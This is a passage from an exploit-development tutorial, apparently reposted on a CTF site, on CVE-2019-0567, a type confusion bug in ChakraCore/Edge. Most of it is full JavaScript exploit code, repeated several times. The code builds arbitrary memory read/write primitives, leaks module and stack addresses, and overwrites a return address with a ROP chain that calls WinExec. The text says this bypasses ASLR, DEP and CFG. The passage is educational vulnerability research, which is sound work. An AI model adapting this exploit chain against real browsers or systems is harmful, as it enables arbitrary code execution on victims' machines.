// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Store our target return address
var retAddr = new Uint32Array(0x10);
retAddr[0] = chakraLo + 0x1768bc0;
retAddr[1] = chakraHigh;
// Loop until we find our target address
while (true)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Did we find our return address?
if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
{
// print update
print("[+] Found the target return address on the stack!");
// stackLeak+counter will now contain the stack address which contains the target return address
// We want to use our arbitrary write primitive to overwrite this stack address with our own value
print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));
// Break out of the loop
break;
}
// Increment the counter if we didn't find our target return address
counter += 0x8;
}
// Begin ROP chain
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh); // 0x18003e876: pop rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000); // calc
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh); // 0x18003e6c6: pop rcx ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh); // Empty address in .data of chakracore.dll
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh); // 0x1800d7ff7: mov qword [rcx], rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
}
main();
You’ll notice the address we are placing in RCX, via , is “an empty address in of ”. The section of any PE is generally readable and writable. This gives us the proper permissions needed to write into the pointer. To find this address, we can look at the section of in WinDbg with the command.pop rcx
.data
chakracore.dll
.data
calc
.data
chakracore.dll
!dh
Let’s open our in WinDbg again via and WinDbg and set a breakpoint on our first ROP gadget (located at ) to step through execution.exploit.js
ch.exe
chakracore_base + 0x3e876
Looking at the stack, we can see we are currently executing our ROP chain.
Our first ROP gadget, , will place (in hex representation) into the RAX register.pop rax
calc
After execution, we can see the from our ROP gadget takes us right to our next gadget – , which will place the empty pointer from into RCX.ret
pop rcx
.data
chakracore.dll
This brings us to our next ROP gadget, the gadget.mov qword ptr [rcx], rax ; ret
After execution of the ROP gadget, we can see the pointer now contains the contents of – meaning we now have a pointer we can place in RCX (it technically is already in RCX) as the parameter..data
calc
lpCmdLine
Now that the first parameter is done – we only have two more steps left. The first is the second parameter, (which just needs to be set to ). The last gadget will pop the address of . Here is how this part of the ROP chain will look.uCmdShow
0
kernel32!WinExec
pop rdx ; ret
<0 as the second parameter> (placed into RDX)
pop rax ; ret
<WinExec address> (placed into RAX)
jmp rax (call kernel32!WinExec)
The above gadgets will fill RDX with our last parameter, and then place into RAX. Here is how we update our final script.WinExec
(...)truncated(...)
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Store our target return address
var retAddr = new Uint32Array(0x10);
retAddr[0] = chakraLo + 0x1768bc0;
retAddr[1] = chakraHigh;
// Loop until we find our target address
while (true)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Did we find our return address?
if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
{
// print update
print("[+] Found the target return address on the stack!");
// stackLeak+counter will now contain the stack address which contains the target return address
// We want to use our arbitrary write primitive to overwrite this stack address with our own value
print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));
// Break out of the loop
break;
}
// Increment the counter if we didn't find our target return address
counter += 0x8;
}
// Begin ROP chain
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh); // 0x18003e876: pop rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000); // calc
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh); // 0x18003e6c6: pop rcx ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh); // Empty address in .data of chakracore.dll
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh); // 0x1800d7ff7: mov qword [rcx], rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh); // 0x1800d7ff7: pop rdx ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000); // 0
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh); // 0x18003e876: pop rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High); // KERNEL32!WinExec address
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh); // 0x18003e876: jmp rax
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
counter+=0x8;
}
main();
Before execution, we can find the address of by computing the offset in WinDbg.kernel32!WinExec
Let’s again run our exploit in WinDbg and set a breakpoint on the ROP gadget (located at pop rdx
chakracore_base + 0x40802
)
After the gadget is hit, we can see is placed in RDX.pop rdx
0
Execution then redirects to the gadget.pop rax
We then place into RAX and execute the gadget to jump into the function call. We can also see our parameters are correct (RCX points to and RDX is .kernel32!WinExec
jmp rax
WinExec
calc
0
We can now see everything is in order. Let’s close our of WinDbg and execute our final exploit without any debugger. The final code can be seen below.
// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));
// Function to convert to hex for memory addresses
function hex(x) {
return x.toString(16);
}
// Arbitrary read function
function read64(lo, hi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)
// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
var arrayRead = new Uint32Array(0x10);
arrayRead[0] = dataview2.getInt32(0x0, true); // 4-byte arbitrary read
arrayRead[1] = dataview2.getInt32(0x4, true); // 4-byte arbitrary read
// Return the array
return arrayRead;
}
// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
dataview1.setUint32(0x38, lo, true); // DataView+0x38 = dataview2->buffer
dataview1.setUint32(0x3C, hi, true); // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)
// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
dataview2.setUint32(0x0, valLo, true); // 4-byte arbitrary write
dataview2.setUint32(0x4, valHi, true); // 4-byte arbitrary write
}
// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
// main function
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // Instead of supplying 0x1234, we are supplying our obj
// Corrupt obj->auxSlots with the address of the first DataView object
o.c = dataview1;
// Corrupt dataview1->buffer with the address of the second DataView object
obj.h = dataview2;
// dataview1 methods act on dataview2 object
// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
vtableLo = dataview1.getUint32(0x0, true);
vtableHigh = dataview1.getUint32(0x4, true);
// Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
// ... type->javascriptLibrary->scriptContext->threadContext
typeLo = dataview1.getUint32(0x8, true);
typeHigh = dataview1.getUint32(0xC, true);
// Print update
print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
// Store the base of chakracore.dll
chakraLo = vtableLo - 0x1961298;
chakraHigh = vtableHigh;
// Print update
print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
// Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh); // KERNEL32!RaiseExceptionStub pointer
// Store the upper part of kernel32.dll
kernel32High = iatEntry[1];
// Store the lower part of kernel32.dll
kernel32Lo = iatEntry[0] - 0x1d890;
// Print update
print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
// Leak type->javascriptLibrary (lcoated at type+0x8)
javascriptLibrary = read64(typeLo+0x8, typeHigh);
// Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);
// Leak type->javascripLibrary->scriptContext->threadContext
threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);
// Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);
// Print update
print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));
// Compute the stack limit for the current thread and store it in an array
var stackLeak = new Uint32Array(0x10);
stackLeak[0] = stackAddress[0] + 0xed000;
stackLeak[1] = stackAddress[1];
// Print update
print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
// Scan the stack
// Counter variable
let counter = 0;
// Store our target return address
var retAddr = new Uint32Array(0x10);
retAddr[0] = chakraLo + 0x1768bc0;
retAddr[1] = chakraHigh;
// Loop until we find our target address
while (true)
{
// Store the contents of the stack
tempContents = read64(stackLeak[0]+counter, stackLeak[1]);
// Did we find our return address?
if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
{
// print update
print("[+] Found the target return address on the stack!");
// stackLeak+counter will now contain the stack address which contains the target return address
// We want to use our arbitrary write primitive to overwrite this stack address with our own value
print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));
// Break out of the loop
break;
}
// Increment the counter if we didn't find our target return address
counter += 0x8;
}
// Begin ROP chain
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh); // 0x18003e876: pop rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000); // calc
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh); // 0x18003e6c6: pop rcx ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh); // Empty address in .data of chakracore.dll
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh); // 0x1800d7ff7: mov qword [rcx], rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh); // 0x1800d7ff7: pop rdx ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000); // 0
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh); // 0x18003e876: pop rax ; ret
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High); // KERNEL32!WinExec address
counter+=0x8;
write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh); // 0x18003e876: jmp rax
counter+=0x8;
}
main();
As we can see, we achieved code execution via type confusion while bypassing ASLR, DEP, and CFG!
Conclusion
As we saw in part two, we took our proof-of-concept crash exploit to a working exploit to gain code execution while avoiding exploit mitigations like ASLR, DEP, and Control Flow Guard. However, we are only executing our exploit in the ChakraCore shell environment. When we port our exploit to Edge in part three, we will need to use several ROP chains (upwards of 11 ROP chains) to get around Arbitrary Code Guard (ACG).
I will see you in part three! Until then.
Peace, love, and positivity 🙂
转载请注明:Exploit Development: Browser Exploitation on Windows – CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2) | CTF导航